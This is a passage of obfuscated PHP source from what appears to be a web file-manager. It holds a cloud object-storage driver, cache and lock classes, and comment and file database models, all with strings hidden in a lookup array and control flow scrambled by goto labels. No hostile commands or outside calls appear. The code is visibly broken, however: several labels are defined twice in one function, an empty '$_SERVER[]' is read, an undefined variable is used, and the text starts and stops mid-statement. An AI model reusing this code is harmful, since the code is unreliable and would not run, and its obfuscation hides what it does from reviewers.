$Dʏ[$c] = $EԹŢ[$cٹ[77]]; } return $this->listAllFiles($f, $dϽDŽ, $Dʏ); } public function canRead($C̉) { $A޶ =& $_SERVER[ڊ]; $A = $this->client->getAccessControlPolicy($this->bucket, $C̉); if (!$A) { return !1; } return in_array($A, array($A޶[190], $A޶[191], $A޶[192])) ? !0 : !1; } public function canWrite($B̶ᮾ) { $CߛǪ =& $_SERVER[ڊ]; $a = $this->client->getAccessControlPolicy($this->bucket, $B̶ᮾ); if (!$a) { return !1; } return in_array($a, array($CߛǪ[190], $CߛǪ[191])) ? !0 : !1; } public function getContent($F) { return $this->client->getObject($this->bucket, $F); } public function setContent($CЦ, $D = '', $eܴ֚ = false) { goto C܊; C܊: $EЧ =& $_SERVER[ڊ]; $CЦ = $eܴ֚ ? trim($CЦ, $EЧ[8]) . $EЧ[8] : $CЦ; $d = get_file_mime(get_path_ext($CЦ)); goto aȓ; Bޓޥ: $Aɩ = $this->copyFile($CЦ, $CЦ, array($EЧ[193] => $Aɩ[$EЧ[194]])); return $Aɩ ? !0 : !1; goto bɎϝ; aȓ: $Aɩ = $this->client->putObject($D, $this->bucket, $CЦ, $EЧ[182], array(), $d); if (!$Aɩ) { return !1; } if ($eܴ֚) { return !0; } goto Bޓޥ; bɎϝ: } public function fileSubstr($Aۿӡ, $ę, $d׽ď) { $Fꇲ = $ę + $d׽ď - 1; return $this->client->getObject($this->bucket, $Aۿӡ, array($_SERVER[ڊ][195] => "\142\x79\164\x65\x73\x3d{$ę}\55{$Fꇲ}")); } public function upload($F麚, $C, $Fȓգ = false, $f = REPEAT_REPLACE) { $f =& $_SERVER[ڊ]; $dīϱ = array($f[193] => @md5_file($C)); $Fͦ = array($f[196] => get_file_mime(get_path_ext($F麚))); if (IO::size($C) <= 1024 * 1024 * 200) { $f = $this->client->putObjectFile($C, $this->bucket, $F麚, $f[182], $dīϱ, $Fͦ); return !empty($f) ? $this->getPathOuter($F麚) : !1; } $c֩ = $this->client->multiUploadObject($C, $this->bucket, trim($F麚, $f[8]), $dīϱ, $Fͦ); return $c֩ ? $this->getPathOuter($F麚) : !1; } public function download($Dءԉ, $bĞ) { if (!@is_dir($this->pathFather($bĞ)) && !IO::mkdir($this->pathFather($bĞ))) { return !1; } $b = $this->client->getObject($this->bucket, $Dءԉ, array(), $bĞ); return $b !== !1 ? $bĞ : !1; } public function link($A, $cڪ = array()) { $dɠ =& $_SERVER[ڊ]; if ($this->signVer == $dɠ[197]) { return $this->client->getAuthenticatedURL($this->bucket, $A, 3600 * 12, $cڪ); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($A, $dɠ[8]), 3600 * 12, $this->region, array(), !0, $cڪ); } public function fileOut($c˄, $cᥱ = false, $d體ܑ = false, $F䝻 = '') { goto d֐; d֐: $C =& $_SERVER[ڊ]; if (!$d體ܑ) { $d體ܑ = $this->pathThis($c˄); } $aί = get_file_mime(get_path_ext($d體ܑ)); goto Cͭ; Cͭ: if ($aί == $C[198]) { return parent::fileOut($c˄, $cᥱ, $d體ܑ, $F䝻); } $cᥱ = $cᥱ ? $C[199] : $C[200]; $EӘ = array($C[201] => $cᥱ . $C[202] . rawurlencode($d體ܑ), $C[203] => $aί); goto c; c: $A = $this->link($c˄, $EӘ); $this->fileOutLink($A); goto D̝; D̝: } public function fileOutServer($bȠ, $bɬ = false, $c򔥻 = false, $cτ = '') { parent::fileOut($bȠ, $bɬ, $c򔥻, $cτ); } public function fileOutImage($f, $a = 250) { $d = $this->link($f); $this->fileOutLink($d); } public function fileOutImageServer($Bֶ, $c뱽 = 250) { parent::fileOutImage($Bֶ, $c뱽); } public function hashMd5($fꠝ, $D㦧ؐ = '') { $CΡ =& $_SERVER[ڊ]; $B = $this->objectMeta($fꠝ); if (!$B) { return !1; } $D㦧ؐ = $D㦧ؐ ? $D㦧ؐ : _get($B, $CΡ[204]); $D㦧ؐ = $D㦧ؐ ? $D㦧ؐ : _get($B, $CΡ[194], $CΡ[33]); return $D㦧ؐ; } public function uploadFormData($Cڶ, $Fʩ = 3600) { $A =& $_SERVER[ڊ]; $dш܍ = $this->pathFather($Cڶ); $Bҷ = $this->client->getHttpUploadPostParams($this->bucket, $dш܍, $A[182], $Fʩ); return array_merge((array) $Bҷ, array($A[166] => $this->getHost())); } public function multiUploadFormData($D۟̉, $D = 3600) { $AՈ =& $_SERVER[ڊ]; $B = gmdate($AՈ[205]); $dƸҥ = array(); $a󤟞 = $this->client->getUploadId($this->bucket, $D۟̉, $dƸҥ); if (!$a󤟞) { return !1; } return array($AՈ[206] => $a󤟞, $AՈ[166] => $this->getHost() . $AՈ[8] . $this->pathEncode($D۟̉), $AՈ[207] => $B, $AՈ[89] => $D۟̉); } public function multiUploadAuthData($Bѐص, $d = array()) { goto aܫ; eͭݰ: $a҈ޑȢ = array($eƥ[209], $eƥ[33], $eƥ[116], $eƥ[33], "\170\x2d\141\155\x7a\55\x64\x61\164\x65\72{$C}", $eƥ[8] . $this->bucket . $eƥ[8] . $this->pathEncode($eͭ) . $dꬒ); if (strpos($dꬒ, $eƥ[210]) === 0) { $a҈ޑȢ[0] = $eƥ[211]; } if (isset($d[$eƥ[212]]) && $d[$eƥ[212]] == $eƥ[213]) { $a҈ޑȢ[0] = $eƥ[213]; } goto FIJ; cµ: $eͭ = $d[$eƥ[89]]; unset($d[$eƥ[89]]); if (isset($d[$eƥ[208]])) { $d[$eƥ[207]] = $C; return $this->listUploadParts($eͭ, $d); } goto eͭݰ; aܫ: $eƥ =& $_SERVER[ڊ]; $C = isset($d[$eƥ[207]]) ? $d[$eƥ[207]] : gmdate($eƥ[205]); $dꬒ = isset($d[$eƥ[157]]) ? $d[$eƥ[157]] : $eƥ[33]; goto cµ; F租: if (strpos($dꬒ, $eƥ[210]) === 0) { return array($eƥ[217] => $E, $eƥ[207] => $C); } return $E; goto DŲ; FIJ: $dл = implode($eƥ[214], $a҈ޑȢ); $e˒ = base64_encode(hash_hmac($eƥ[215], $dл, $this->secret, !0)); $E = $eƥ[216] . $this->accessKey . $eƥ[4] . $e˒; goto F租; DŲ: } public function listUploadParts($A憍ː, $Bݛ = array()) { goto d􏪝; d􏪝: $c =& $_SERVER[ڊ]; $E = str_replace($c[218], $c[33], $Bݛ[$c[157]]); $a = $this->client->listParts($this->bucket, $A憍ː, $E); goto aǏ; aǏ: if (!$a) { return !1; } unset($Bݛ[$c[208]], $Bݛ[$c[212]]); $Bݛ[$c[89]] = $A憍ː; goto c; c: $CΧ = $this->multiUploadAuthData($A憍ː, $Bݛ); if (empty($CΧ)) { return !1; } return array($c[217] => $CΧ, $c[207] => $Bݛ[$c[207]], $c[219] => $a); goto d; d: } public function getHost() { return parent::getHost() . $_SERVER[ڊ][8] . $this->bucket; } public function size($FՆ) { $e«՞ = $this->objectMeta($FՆ); return $e«՞ ? $e«՞[$_SERVER[ڊ][77]] : 0; } public function info($b򍶥) { if ($this->isFolder($b򍶥)) { return $this->folderInfo($b򍶥); } else { if ($this->isFile($b򍶥)) { return $this->fileInfo($b򍶥); } } return !1; } public function exist($e) { return $this->isFile($e) || $this->isFolder($e); } public function isFile($f㗲) { return !$this->isFolder($f㗲) && $this->objectMeta($f㗲); } public function isFolder($E۩) { return $this->cacheMethod($_SERVER[ڊ][220], $E۩); } protected function objectMeta($EƝ) { return $this->cacheMethod($_SERVER[ڊ][221], $EƝ); } protected function _objectMeta($Bإ) { $e㻡 =& $_SERVER[ڊ]; $Bإ = rtrim($Bإ, $e㻡[8]); try { $E䜠 = $this->client->getObjectInfo($this->bucket, $Bإ); if (!isset($E䜠[$e㻡[204]]) && isset($E䜠[$e㻡[222]])) { $E䜠[$e㻡[204]] = $E䜠[$e㻡[222]]; } } catch (OSS\Core\OssException $CҴ) { $E䜠 = !1; } if (!$E䜠) { } return $E䜠; } protected function _isFolder($d) { goto C; C: $CЛכ =& $_SERVER[ڊ]; $d = rtrim($d, $CЛכ[8]); if ($d == $CЛכ[33] || $d == $CЛכ[8]) { return !0; } goto e֯Ϳͣ; e֯Ϳͣ: $EƉ = $this->client->getBucket($this->bucket, $d, null, 1); if (empty($EƉ)) { return !1; } $EƉ = array_values($EƉ); goto b޳; b޳: if (substr($EƉ[0][$CЛכ[28]], -1) == $CЛכ[8]) { return !0; } if (get_path_this($EƉ[0][$CЛכ[28]]) == get_path_this($d)) { return !1; } return !0; goto D; D: } } define($_SERVER[ڊ][223], 1); goto f; E߆: define($_SERVER[ڊ][0], $_SERVER[ڊ][1]); $_SERVER[] = explode($_SERVER[ڊ][2], gzinflate(substr($_SERVER[ڊ][3], 10, -8))); function Model($cר = '', $c = '', $dȊ׳ = '') { goto e׃ʔ; e׃ʔ: $Cӆ =& $_SERVER[]; static $DЏ = array(); $a֜ = strtolower($c . $Cӆ[0] . $cר); goto aǹ; C: $DЏ[$a֜] = new ModelBase($cר, $c, $dȊ׳); return $DЏ[$a֜]; goto eӋ; aǹ: if (isset($DЏ[$a֜])) { return $DЏ[$a֜]; } if ($cר) { $cר = strtoupper($cר[0]) . substr($cר, 1); $d⦺ = $cר . $Cӆ[1]; if (class_exists($d⦺)) { $DЏ[$a֜] = new $d⦺(); return $DЏ[$a֜]; } } if (!$dȊ׳) { $dȊ׳ = $GLOBALS[$Cӆ[2]][$Cӆ[3]]; } goto C; eӋ: } goto DЍ; F: class Cache { protected static $handle; protected static $memoryCache; public static function init() { goto Dۑ; A굓: switch ($Bы[$A[748]]) { case $A[17]: self::$handle = Model($A[750]); break; case $A[751]: self::$handle = new CacheRedis($e, $Bӹ); break; case $A[752]: self::$handle = new CacheMemcached($e, $Bӹ); break; case $A[164]: self::$handle = new CacheFile($e, $Bӹ); break; default: break; } return self::$handle; goto aԧ; Dۑ: $A =& $_SERVER[ڊ]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); goto fڰ흴; fڰ흴: $Bы = $GLOBALS[$A[6]][$A[334]]; $e = $Bы[$Bы[$A[748]]]; $Bӹ = $Bы[$A[749]]; goto A굓; aԧ: } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($EΎͬ) { if (is_array($EΎͬ) || is_object($EΎͬ)) { $EΎͬ = json_encode($EΎͬ); } $EΎͬ = rawurlencode($EΎͬ); return KOD_SITE_ID . $_SERVER[ڊ][70] . $EΎͬ; } public static function get($Cۣ) { $dԂՖ = self::key($Cۣ); if (!isset(self::$memoryCache[$dԂՖ])) { CacheLock::lock($Cۣ); $a܂ = self::init()->get($dԂՖ); CacheLock::unlock($Cۣ); self::$memoryCache[$dԂՖ] = unserialize($a܂); } return self::$memoryCache[$dԂՖ]; } public static function set($cӥ, $e޽, $eғ = false) { goto D; Aӓ: CacheLock::unlock($cӥ); return $C; goto fه; D: $fݗ = self::key($cӥ); if (isset(self::$memoryCache[$fݗ]) && self::$memoryCache[$fݗ] === $e޽) { return !0; } if ($eғ === 0) { self::$memoryCache[$fݗ] = $e޽; return !0; } goto D; D: CacheLock::lock($cӥ); $C = self::init()->set($fݗ, serialize($e޽), $eғ); self::$memoryCache[$fݗ] = $e޽; goto Aӓ; fه: } public static function remove($cۊ) { goto cݎ; fܚސ: return $dÎ; goto Fݫ; cݎ: $D = self::key($cۊ); unset(self::$memoryCache[$D]); self::clearTimeout(); goto Eͽ; Eͽ: CacheLock::lock($cۊ); $dÎ = self::init()->remove($D); CacheLock::unlock($cۊ); goto fܚސ; Fݫ: } public static function clearMemory($CЊ = false) { if ($CЊ) { $CЊ = self::key($CЊ); unset(self::$memoryCache[$CЊ]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[ڊ][753])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[ڊ][754])) { self::init()->clearTimeout(); } } } class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($c۴, $d) { $e =& $_SERVER[ڊ]; $this->cachePath = $c۴[$e[75]]; $this->prefix = $e[755]; $this->cacheTime = $d; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, 511, !0); } } public function getFile($Cב) { $CەЦ =& $_SERVER[ڊ]; $Cב = str_replace(array($CەЦ[756], $CەЦ[95], $CەЦ[69]), $CەЦ[757], $Cב); return $this->cachePath . $CەЦ[758] . $Cב . $CەЦ[759]; } public function set($C, $D΃, $A𷎢 = false) { $eł以 = $this->getFile($C); if (file_put_contents($eł以, $this->prefix . $D΃, LOCK_EX)) { return !0; } @unlink($eł以); return !1; } public function get($b֗) { $F酃ʜʿ = $this->getFile($b֗); if (file_exists($F酃ʜʿ) && filemtime($F酃ʜʿ) < time() - $this->cacheTime) { @unlink($F酃ʜʿ); return !1; } $Dʍ = @file_get_contents($F酃ʜʿ); return substr($Dʍ, strlen($this->prefix)); } public function remove($cœ) { $Cէ = $this->getFile($cœ); return @unlink($Cէ); } public function deleteAll() { $E =& $_SERVER[ڊ]; $d = scandir($this->cachePath); foreach ($d as $C➛) { $Bϯ = $this->cachePath . $C➛; if (strpos($Bϯ, $E[759]) && strpos($Bϯ, $E[760])) { @unlink($Bϯ); } } } public function clearTimeout() { $eŖ =& $_SERVER[ڊ]; $A = scandir($this->cachePath); foreach ($A as $cՇ̣) { $aΆ = $this->cachePath . $cՇ̣; if (strpos($aΆ, $eŖ[759]) && strpos($aΆ, $eŖ[760]) && filemtime($aΆ) < time() - $this->cacheTime) { @unlink($aΆ); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { goto C; c늉: if ($AȽ == $a[17] && $Fҵ == $a[9]) { $AȽ = $a[164]; } switch ($AȽ) { case $a[751]: self::$handle = new CacheLockRedis(); break; case $a[752]: self::$handle = new CacheLockMemcached(); break; case $a[17]: self::$handle = new CacheLockDatabase(); break; case $a[164]: self::$handle = new CacheLockFile(); break; default: break; } return self::$handle; goto E얐; C: $a =& $_SERVER[ڊ]; if (self::$handle) { return self::$handle; } $Cďى = $GLOBALS[$a[6]][$a[334]]; goto Cۡ; Cۡ: self::$timeout = $Cďى[$a[761]] ? $Cďى[$a[761]] : 10; $Fҵ = _get($GLOBALS[$a[6]], $a[762]); $AȽ = $Cďى[$a[748]] ? $Cďى[$a[748]] : $a[164]; goto c늉; E얐: } private static function key($B°荺) { return $_SERVER[ڊ][763] . Cache::key($B°荺); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($c = '') { self::$errorMsg = $c; } public static function lockGlobal($CǠ, $aŻ) { return self::lock($CǠ, $aŻ, !0); } public static function lock($F, $aڽ = false, $f᎗ = false) { goto b; AÉ: if (!$f᎗) { self::$lockItem[$B] = !0; } return $a҅; goto F; b: $AŦ =& $_SERVER[ڊ]; $B = self::init(); $B = self::key($F); goto D戴; D戴: $aڽ = $aڽ ? $aڽ : self::$timeout; $a҅ = $B->lock($B, $aڽ); if (!$a҅) { $E› = $AŦ[764] . $aڽ . $AŦ[67] . self::$errorMsg . $AŦ[67] . get_caller_msg(); $B = "\114\157\143\x6b\x20\x61\x63\x74\x69\157\156\x3a\40{$B}\x20\164\151\155\x65\157\x75\164\x2c\x6f\166\145\x72\40{$aڽ}\x20\x73"; $B = self::$errorMsg ? self::$errorMsg : $A򄻩; write_log($E›, $AŦ[765]); show_json($B, !1); } goto AÉ; F: } public static function lockGet($f) { $B = self::key($f); if (self::$lockItem[$B]) { return self::$lockItem[$B]; } return self::init()->lockGet($B); } public static function unlock($Fƹ) { $A˓ = self::key($Fƹ); self::$lockItem[$A˓] = null; return self::init()->unlock($A˓); } public static function unlockRuntime() { $B麉 =& $_SERVER[ڊ]; $c󣚵 = self::init(); $aߡ = !1; foreach (self::$lockItem as $fƞ => $D푍ǐ) { if (!$D푍ǐ) { continue; } $c󣚵->unlock($fƞ); if (!$aߡ) { $aߡ = !0; write_log($B麉[766] . $fƞ . $B麉[67] . get_caller_msg(), $B麉[765]); continue; } write_log($B麉[766] . $fƞ, $B麉[765]); } } } goto D–; Eܛ: register_shutdown_function($_SERVER[][36]); set_error_handler($_SERVER[][49], $dАɑ); if (function_exists($_SERVER[][50])) { set_exception_handler($_SERVER[][51]); } goto e荈; bώ: class CommentModel extends ModelBase { protected $tableName = "\x63\x6f\x6d\155\x65\x6e\x74"; protected $tableMeta = array("\x74\141\142\154\x65\116\x61\155\145" => "\x63\157\x6d\155\x65\x6e\x74\137\155\145\x74\x61", "\x6d\x65\164\141\x46\x69\x65\x6c\144" => "\143\x6f\x6d\155\x65\x6e\164\111\104"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($D) { $B򹉯 =& $_SERVER[ڊ]; if ($D[$B򹉯[2099]]) { $BҒ = $this->where(array($B򹉯[2100] => $D[$B򹉯[2099]]))->find(); if (!$BҒ || $BҒ[$B򹉯[368]] != $D[$B򹉯[368]] || $BҒ[$B򹉯[452]] != $D[$B򹉯[452]]) { return !1; } $this->where(array($B򹉯[2100] => $D[$B򹉯[2099]]))->setAdd($B򹉯[2101], 1); } return $this->add($D); } public function remove($CЫ) { $bϡ =& $_SERVER[ڊ]; $Dܵ = array($bϡ[2100] => $CЫ); $D = $this->where($Dܵ)->find(); if ($D[$bϡ[2099]]) { $this->where(array($bϡ[2100] => $D[$bϡ[2099]]))->setAdd($bϡ[2101], -1); } return $this->where($Dܵ)->delete(); } public function edit($DȈ, $cҵ) { $B =& $_SERVER[ڊ]; $e = array($B[2100] => $DȈ); return $this->where($e)->save(array($B[2102] => $cҵ)); } public function prasise($A笜) { $Dʅ =& $_SERVER[ڊ]; $E՟ = Model($Dʅ[2103]); $c᲎ = array($Dʅ[2100] => $A笜, $Dʅ[1400] => USER_ID); $f閷݃ = $E՟->where($c᲎)->find(); if (!$f閷݃) { $E՟->add($c᲎); $bϑ֔ = $this->where(array($Dʅ[2100] => $A笜))->setAdd($Dʅ[2104], 1); } else { $E՟->where($c᲎)->delete(); $bϑ֔ = $this->where(array($Dʅ[2100] => $A笜))->setAdd($Dʅ[2104], -1); } return $bϑ֔; } public function targetInfo($a䔘, $e΄Ķ) { goto BᙦԨ; BӐԃ: return $dҟ; goto CѶ; BᙦԨ: $A鏩 =& $_SERVER[ڊ]; $AÏ = array($A鏩[517] => $a䔘, $A鏩[518] => $e΄Ķ); $Cň = $this->where($AÏ)->count(); goto e򏝣; e򏝣: $CѤ = "\x52\x49\107\x48\124\x20\112\x4f\111\116\x20{$this->tablePrefix}\143\x6f\x6d\155\145\156\x74\137\x70\x72\x61\151\x73\x65\40\x73\x74\x61\x72\40\x6f\156\x20\143\157\x6d\x6d\145\156\164\x2e\143\x6f\155\155\x65\x6e\164\x49\x44\x20\75\40\163\x74\x61\162\56\x63\x6f\x6d\x6d\x65\x6e\164\111\104"; $Dȑ = $this->alias($A鏩[338])->where($AÏ)->join($CѤ, $A鏩[2105])->count(); $dҟ = array($A鏩[2106] => $Cň, $A鏩[2107] => $Dȑ); goto BӐԃ; CѶ: } public function listData($bũי) { $E͓ =& $_SERVER[ڊ]; if (isset($bũי[$E͓[2108]])) { if ($bũי[$E͓[2108]]) { $bũי[$E͓[2109]] = array($E͓[922], intval($bũי[$E͓[2108]])); } unset($bũי[$E͓[2108]]); } if (isset($bũי[$E͓[2110]])) { if ($bũי[$E͓[2110]]) { $bũי[$E͓[2109]] = array($E͓[919], intval($bũי[$E͓[2110]])); } unset($bũי[$E͓[2110]]); } return $this->_listData($bũי); } private function _listData($Eݨ) { $Bnj =& $_SERVER[ڊ]; $D鷐Ȕ = $this->where($Eݨ)->_makeOrder()->selectPage(100); $this->_listAppendParent($D鷐Ȕ[$Bnj[351]]); $this->_listAppendUser($D鷐Ȕ[$Bnj[351]]); $this->_listAppendMeta($D鷐Ȕ[$Bnj[351]]); return $D鷐Ȕ; } private function _makeOrder() { $F =& $_SERVER[ڊ]; $bь = array($F[2104], $F[2101], $F[184]); $DѾ = Input::get($F[403], $F[7], $F[386], $bь); $bɜ = Input::get($F[404], $F[7], $F[1402], array($F[2111], $F[401])); $AҖ = $DѾ . $F[50] . $bɜ; return $this->order($AҖ); } private function _listAppendParent(&$Aڽԟ) { goto F; d: foreach ($Aڽԟ as &$fš) { if (isset($eѡ[$fš[$Fǝ[2099]]])) { $fš[$Fǝ[2112]] = $eѡ[$fš[$Fǝ[2099]]]; } } goto A֩; F: $Fǝ =& $_SERVER[ڊ]; $d = array_unique(array_to_keyvalue($Aڽԟ, $Fǝ[33], $Fǝ[2099])); $d = array_remove_value($d, $Fǝ[464]); goto c; c: if (!$d) { return; } $eѡ = $this->where(array($Fǝ[2100] => array($Fǝ[7], $d)))->select(); $eѡ = array_to_keyvalue($eѡ, $Fǝ[2109]); goto d; A֩: } private function _listAppendUser(&$b) { goto A䧈; A䧈: $bܬԯ =& $_SERVER[ڊ]; $e͛ = array_unique(array_to_keyvalue($b, $bܬԯ[33], $bܬԯ[1409])); $e͛ = array_remove_value($e͛, $bܬԯ[464]); goto A; bˏ砣: foreach ($b as &$C) { $C[$bܬԯ[531]] = $eӠ[$C[$bܬԯ[1409]]]; if (isset($C[$bܬԯ[2112]])) { $C[$bܬԯ[2112]][$bܬԯ[531]] = $eӠ[$C[$bܬԯ[2112]][$bܬԯ[1409]]]; } } goto f; A: if (count($e͛) == 0) { return; } foreach ($b as $C) { if (isset($C[$bܬԯ[2112]])) { $e͛[] = $C[$bܬԯ[2112]][$bܬԯ[1409]]; } } $eӠ = Model($bܬԯ[473])->userListInfo($e͛); goto bˏ砣; f: } private function _listAppendMeta(&$c؜) { goto C嵼߫; C嵼߫: $f֋֟ =& $_SERVER[ڊ]; $cŲ = array_unique(array_to_keyvalue($c؜, $f֋֟[33], $f֋֟[2109])); $cŲ = array_remove_value($cŲ, $f֋֟[464]); goto b̬; c椵: if (!$f) { return !1; } foreach ($c؜ as &$bnj) { $bnj[$f֋֟[413]] = $f[$bnj[$f֋֟[2109]]]; if (isset($bnj[$f֋֟[2112]])) { $bnj[$f֋֟[2112]][$f֋֟[413]] = $f[$bnj[$f֋֟[2112]][$f֋֟[2109]]]; } } goto eكյ; b̬: if (!$cŲ) { return; } foreach ($c؜ as $bnj) { if (isset($bnj[$f֋֟[2112]])) { $cŲ[] = $bnj[$f֋֟[2112]][$f֋֟[2109]]; } } $f = $this->metaList($cŲ); goto c椵; eكյ: } private function metaList($d٘) { goto d; d: $aխ =& $_SERVER[ڊ]; if (!$d٘) { return array(); } $F = array($aխ[2109] => array($aխ[7], $d٘)); goto A҈; A҈: $bڊ˘ = Model($aխ[2113])->where($F)->select(); $bڊ˘ = array_to_keyvalue_group($bڊ˘, $aխ[2109]); foreach ($bڊ˘ as $a׍˾ => $Bđ¥) { $Eݑ = array(); foreach ($Bđ¥ as $Dئ) { $Eݑ[$Dئ[$aխ[89]]] = $Dئ[$aխ[356]]; } $bڊ˘[$a׍˾] = $Eݑ; } goto d; d: return $bڊ˘ ? $bڊ˘ : array(); goto F«; F«: } } class FileModel extends ModelBase { protected $tableName = "\x69\x6f\137\x66\x69\x6c\145"; protected $tableMeta = array("\x74\x61\142\154\x65\116\x61\155\145" => "\x69\157\x5f\x66\151\x6c\x65\137\x6d\145\x74\141", "\x6d\145\164\x61\x46\151\x65\x6c\x64" => "\146\151\x6c\x65\x49\104"); public function fileInfo($aл) { $E =& $_SERVER[ڊ]; static $d䐆 = array(); if (!isset($d䐆[$aл])) { $E = $E[2114]; $F = Model($E[418])->field($E)->where(array($E[416] => $aл))->find(); $d䐆[$aл] = $F; } return $d䐆[$aл]; } public function addFileByContent($CŦԑ = '', $eʋæױ = '') { goto CȽ; CȽ: $Eփ =& $_SERVER[ڊ]; $c̫ = TEMP_PATH . $Eփ[2115]; if (!is_dir($c̫)) { mk_dir($c̫); } goto Eˎ; Eˎ: $c㡔 = $c̫ . $Eփ[2116] . rand_string(16); file_put_contents($c㡔, $CŦԑ); $F = $this->addFile($c㡔, $eʋæױ, !0); goto c; c: if (file_exists($c㡔)) { @unlink($c㡔); } return $F; goto d眊‘; d眊‘: } public function createFileName($bڸ) { goto f; f: $B೅ =& $_SERVER[ڊ]; $Bք = IO::init($B೅[8]); $c㧝 = $this->makeFilePath($bڸ, $Bք); goto bΉ; bΉ: $d = $Bք->pathFather($c㧝); static $DΑ = false; $Eˠ֣ = $B೅[2117] . md5($d); goto D; D: if (!$DΑ && !Cache::get($Eˠ֣)) { $DΑ = !0; $b؏ = IO::mkdir($d); if (!IO::exist($b؏ . $B೅[2118])) { IO::mkfile($b؏ . $B೅[2118]); } Cache::set($Eˠ֣, 1, 3600 * 2); } return $c㧝; goto cȼ; cȼ: } public function makeFilePath($c떂, $E) { goto C똗Ğ; b؍: $dś = $d . rand_string(5) . short_id(100); $c떂 = str_replace($bnj[8], $bnj[70], KodIO::clear($c떂)); if (!$c떂) { $E = $bnj[2121]; } goto eԗж; C똗Ğ: $bnj =& $_SERVER[ڊ]; $E = Model($bnj[1080])->get($bnj[2119]); $d = KodIO::defaultIO() . date($bnj[2120]); goto b؍; eԗж: switch ($E) { case $bnj[2122]: $dś = $dś . $bnj[93] . $E->ext($c떂); if ($E->ext($c떂) == $bnj[2062]) { $dś .= $bnj[2123]; } break; case $bnj[2124]: goto F; fܯ: if ($E->ext($c떂) == $bnj[2062]) { $c떂 .= $bnj[2123]; } $Fƙ˯ = IO::fileNameAuto($d, $c떂); $dś = $d . $Fƙ˯; goto f颻Ӑ; f颻Ӑ: break; goto Aڇ; F: $E≳ = Model($bnj[1080])->get($bnj[1309]); $e𺏠 = substr(md5($bnj[1882] . $E≳ . date($bnj[682])), 0, 8); $d = KodIO::defaultIO() . date($bnj[2125]) . $e𺏠 . $bnj[8]; goto fܯ; Aڇ: case $bnj[2121]: break; default: break; } return $dś; goto CȽ; CȽ: } public function addFileByRemote($F, $A, $Fݲ = array()) { goto c̘; CÇ傒: if ($D = $this->addFileCheckExist($e[$D[161]], $e[$D[160]], $e[$D[77]])) { return $D; } return $this->addFileData($e); goto c; c̘: $D =& $_SERVER[ڊ]; if (!IO::exist($F)) { return !1; } $cݸ = $Fݲ[$D[160]] ? $Fݲ[$D[160]] : $D[33]; goto f܂; f܂: $e뵲 = IO::hashMd5($F, $cݸ); $Dƶ = KodIO::defaultDriver(); $e = array($D[516] => IO::size($F), $D[2126] => 1, $D[383] => $A, $D[730] => $Dƶ[$D[364]], $D[384] => $F, $D[2127] => $Fݲ[$D[161]] ? $Fݲ[$D[161]] : IO::hashSimple($F), $D[2128] => $e뵲 ? $e뵲 : $cݸ); goto CÇ傒; c: } private function addFileData($cۛʠ) { $b =& $_SERVER[ڊ]; if (!$cۛʠ) { return !1; } $cۛʠ[$b[77]] = intval($cۛʠ[$b[77]]); if (!$cۛʠ[$b[77]] && strlen($cۛʠ[$b[161]]) > 32) { $cۛʠ[$b[77]] = intval(substr($cۛʠ[$b[161]], 32)); } $Cὑღ = $this->add($cۛʠ); return $this->find($Cὑღ); } public function addFile($d˻, $E͉, $aɬ = false) { $f胊 = IO::hashSimple($d˻); $Bʩ = IO::hashMd5($d˻); $C눃ў = IO::size($d˻); if ($E򅊃 = $this->addFileCheckExist($f胊, $Bʩ, $C눃ў)) { return $E򅊃; } $c޲ = $this->addFileMake($d˻, $C눃ў, $f胊, $Bʩ, $E͉, $aɬ); return $this->addFileData($c޲); } public function addFileMake($CӉܗ, $cǜ, $FӠƖ, $B̜٨ф, $Eڔ, $d͓) { goto A; A: $d웵Έ =& $_SERVER[ڊ]; $B㷶 = $this->createFileName($Eڔ); $F = get_path_father($B㷶); goto B; Bخ: $B㉌ = KodIO::defaultDriver(); $Eⳛ = array($d웵Έ[516] => $cǜ, $d웵Έ[2126] => 1, $d웵Έ[383] => $Eڔ, $d웵Έ[730] => $B㉌[$d웵Έ[364]], $d웵Έ[384] => $B㷶, $d웵Έ[2127] => $FӠƖ, $d웵Έ[2128] => $B̜٨ф); return $Eⳛ; goto E; B: $c = get_path_this($B㷶); if ($d͓) { $dۄ = IO::move($CӉܗ, $F, !1, $c); } else { $dۄ = IO::copy($CӉܗ, $F, !1, $c); } if (!$dۄ) { return !1; } goto Bخ; E: } public function addFileCheckExist($Dֳϒ, $d, $aȄ) { $E =& $_SERVER[ڊ]; $aĵ = $this->findByHash($Dֳϒ, $d); if (!$aĵ) { return !1; } $E쬊ڳ = array($E[2126] => intval($aĵ[$E[2129]]) + 1, $E[516] => $aȄ); $this->where(array($E[416] => $aĵ[$E[415]]))->save($E쬊ڳ); return $aĵ; } public function remove($e) { $this->linkCountChange($e, !1); $this->clearEmpty(); return !0; } public function linkAdd($Fއ) { $this->linkCountChange($Fއ, !0); } public function linkCountChange($A, $d) { goto BɐӮ; bƓ: $Aߕ = array(); foreach ($A as $f뇪ެ) { $fȕт = $f뇪ެ . $dʆ[33]; if (!$Aߕ[$fȕт]) { $Aߕ[$fȕт] = 0; } $Aߕ[$fȕт]++; } $eLJ = array(); goto F˱ڟ; F˱ڟ: foreach ($Aߕ as $f뇪ެ => $bؤ) { $fȕт = $bؤ . $dʆ[33]; if (!$eLJ[$fȕт]) { $eLJ[$fȕт] = array(); } $eLJ[$fȕт][] = $f뇪ެ; } foreach ($eLJ as $bؤ => $bԲҎ) { if (!$bԲҎ) { continue; } $bؤ = $d ? $bؤ : -intval($bؤ); $a޼ = array($dʆ[415] => array($dʆ[7], $bԲҎ)); if ($bؤ < 0) { $a޼[$dʆ[2129]] = array($dʆ[923], abs($bؤ)); } $this->where($a޼)->setAdd($dʆ[2129], $bؤ); } goto a; BɐӮ: $dʆ =& 